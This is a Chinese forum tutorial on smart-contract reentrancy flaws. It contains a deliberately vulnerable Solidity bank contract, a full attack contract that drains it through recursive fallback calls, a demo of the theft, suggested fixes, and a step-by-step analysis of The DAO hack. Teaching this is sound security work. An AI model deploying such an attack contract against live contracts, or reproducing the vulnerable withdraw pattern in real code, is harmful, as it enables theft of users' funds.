用户
搜索
  • TA的每日心情

    2020-9-18 15:51
  • 签到天数: 197 天

    连续签到: 1 天

    [LV.7]常住居民III

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    123

    主题

    315

    帖子

    2640

    魔法币
    收听
    0
    粉丝
    24
    注册时间
    2017-7-24

    幽默灌水王突出贡献春秋文阁i春秋签约作者i春秋推荐小组积极活跃奖春秋游侠秦

    发表于 2020-9-8 17:00:15 36948

    0x00 前言

    之前写了一篇智能合约审计入门的文章,这篇开始介绍常见的以及需要掌握的漏洞,包括案列以及修复方式。如有疏漏之处,还望轻踩。

    0x01 概念篇

    这里主要解释一下什么是重入漏洞,以及漏洞实现原理。

    1.重入漏洞

    指攻击者利用合约调用的特性来反复执行转账函数,达到窃取目标账户的目的。

    2.危害

    危害实际上就是盗取目标账户数字币,造成无法挽回的损失。

    3.原理

    我们都知道以太坊中包含两种地址,一种是用户地址,还有一种是合约地址,交易可以在这双方进行,那么就存在合约和合约之间进行转账的关系。

    在转账的时候,转账方合约A会调用转账目标合约B的fallback,然后B的fallback中再重复调用A的转账函数,一直到gas耗尽为止,其实可以理解为递归调用的过程。这里画了一个简单的图:

    这里解释一下fallback
    每一个合约又仅仅有一个fallback函数,fallback没有参数,也不能有返回值,当调用合约中不存在的函数或调用空方法,或使用合约地址的内置函数,都会执行合约的fallback 函数

    还需要解释的是solidity中转账会用到下面三个转账方式:

    • address.send()
    • address.transfer()
    • address.call.value()()

    address.send()

    • 限定了只能使用2300gas
    • 失败只返回false
    • 需要搭配event或require使用

    address.transfer()

    • 限定了只能使用2300gas
    • 失败的时候会主动抛出异常

    address.call.value()()

    • 不限制gas数量,提供gas接口,更加灵活
    • 不会主动抛出异常

    看到这里就应该知道重入漏洞针对的就是address.call.value()()这种转账方式,因为gas无限,才能满足无限调用的条件。

    0x02 演示篇

    1.Demo

    1.1 问题合约

    这里有一个存在漏洞的合约,该合约就是一个拥有存款,转出的功能,可以理解为是一个类似于银行功能的合约。
    根据上面的描述,可以很清楚的知道,在withdraw函数的地方,使用了call.value的方式进行调用,并且调用顺序和逻辑出现问题,最后导致重入。

    pragma solidity ^0.4.11;
    
    contract IDMoney {
        address owner;
        mapping (address => uint256) balances;  // 记录每个打币者存入的资产情况
    
        event withdrawLog(address, uint256);
    
        function IDMoney() { 
            owner = msg.sender; 
        }
    
        function deposit() payable { 
            balances[msg.sender] += msg.value; 
        }
        function withdraw(address to, uint256 amount) {
            require(balances[msg.sender] > amount);
            require(this.balance > amount);
            to.call.value(amount)();  // 使用 call.value()() 进行 ether 转币时,默认会发所有的 Gas 给外部
            balances[msg.sender] -= amount;
        }
    
        function balanceOf() returns (uint256) { 
            return balances[msg.sender]; 
        }
    
        function balanceOf(address addr) returns (uint256) {
            return balances[addr]; 
        }
    }

    1.2 攻击合约

    这里使用另外一个合约进行攻击,这个合约主要是调用目标合约的转账函数,然后进行递归调用。

    pragma solidity ^0.4.11;
    
    contract Attack {
        address owner;
        address victim;
    
        modifier ownerOnly { require(owner == msg.sender); _; }
    
        function Attack() payable { 
            owner = msg.sender; 
        }
    
        // 设置已部署的 IDMoney 合约实例地址
        function setVictim(address target) ownerOnly { 
            victim = target;
        }
    
        // deposit Ether to IDMoney deployed
        function step1(uint256 amount) ownerOnly payable {
            if (this.balance > amount) {
                victim.call.value(amount)(bytes4(keccak256("deposit()")));
            }
        }
    
        // withdraw Ether from IDMoney deployed
        function step2(uint256 amount) ownerOnly {
            victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
        }
        // selfdestruct, send all balance to owner
        function stopAttack() ownerOnly {
            selfdestruct(owner);
        }
    
        function startAttack(uint256 amount) ownerOnly {
            step1(amount);
            step2(amount / 2);
        }
    
        function () payable {
            if (msg.sender == victim) {
                // 再次尝试调用 IDMoney 的 withdraw 函数,递归转币
                victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
            }
        }
    }

    1.3 攻击演示

    先部署目标合约

    然后调整一下value,部署攻击合约

    在目标合约处存如50个eth,并且调用deposit,如下图所示:

    查询当前账户金额,可以看到已经存了50eth了

    攻击合约设置一下目标的地址

    这里设置一下提取的金额

    在这里可以看到运行多次的过程

    这里点击stop

    可以看到结果,发现我们的账户已经成的盗取用户的eth

    1.4 修复

    实际上这里最直接的修复方式就是使用address.transfer()或者address.send()就可以直接修复了。
    当然如果是从根源修复的话,那么还是建议进行资源锁,或者是使用哨兵等方式进行验证判断即可。

    2.DAO事件还原

    说起重入漏洞,那么DAO事件肯定是不可错过的了,这个时间直接导致硬分叉,形成etc和eth,这里对其进行一个分析还远。

    2.1 事件背景

    DAO事件也就是THE DAO事件,THE DAO是区块链物联网公司Slock.it发起的众筹项目,采用 DAO来运作自己的系统 Universal Sharing Network,后来发现这个机制也适合其他项目,因此决定创建The DAO。
    THE DAO持有近15%的以太币总数,所以在黑客利用漏洞之后对之前的eth造成了很大的影响。

    2.2 THE DAO的功能作用

    • 通过智能合约来对eth进行分放
    • 以eth换取DAO token,具有一定权力
    • 参与投票权
    • 获取收益
    • 查看自己的token
    • 其他

    2.3 源码分析

    这个是源码的地址,感兴趣的可以直接下载进行查看

    https://github.com/TheDAO/DAO-1.0

    我们主要对存在漏洞的代码的地方进行分析,主要是DAO.so

    出现问题的最核心的地方就是这里

    这里的问题实际上就是和之前的demo类似,先进行一个转账,然后在进行减数运算,可以通过攻击手段构造参数,递归调用,造成重入攻击。具体攻击步骤如下:

    1.split

    设置split,这里的周期是可以选择的

    2.运行split

    调用splitDAO

    3.发送TOKEN到新DAO

    这里主要流程就是splitDAO,然后就是TokenCreation.sol的createTokenProxy函数,可以参考下图


    这个是TokenCreation.sol的createTokenProxy函数可以创建发送一个新的TOKEN

    4.在DAO发送TOKEN到新DAO之后更新余额之前,发送收益攻击者

    这里就是在withdrawRewardFor这个函数中执行的

    这里的一个判定条件,当0小于paidOut[_account]前面的条件中,balanceOf _account的条件变量_account为0,如果没有被支付,这里将会成为false,那么就会永远执行下去。

    余额这里可以看到Token.so中提前绑定了balanceOf,直接return balances[_owner]

    rewardAccount.accumulatedInput()这里是在ManagedAccount.sol中定义的

    最终调用payOut

    5.在第4步的时候,以相同参数运行splitDAO

    可以看到这里调用了_recipient.call.value(_amount)()

    6.返回第5步
    7.更新余额

    以上就是攻击步骤
    由于智能合约的特性是无法修改,递归调用之后就只能眼睁睁的看着攻击者盗币。

    0x3 总结

    这里主要通过demo以及经典的DAO事件来对重入漏洞进行分析理解,本来还想举列基于ERC777的重入漏洞,但是慢雾之前发布的文章已经从源码级分析的很清楚了,这里就不再进行举例,言语有不当之处,还请见谅。

    论如何学习,我们来聊一聊经验呀784278256
    发表于 2020-9-8 17:39:07
    HAI表哥永远滴神
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    tql,大佬
    使用道具 举报 回复
    发表于 2020-9-9 10:32:23
    村长CZ 发表于 2020-9-8 09:39
    HAI表哥永远滴神

    论如何学习,我们来聊一聊经验呀784278256
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册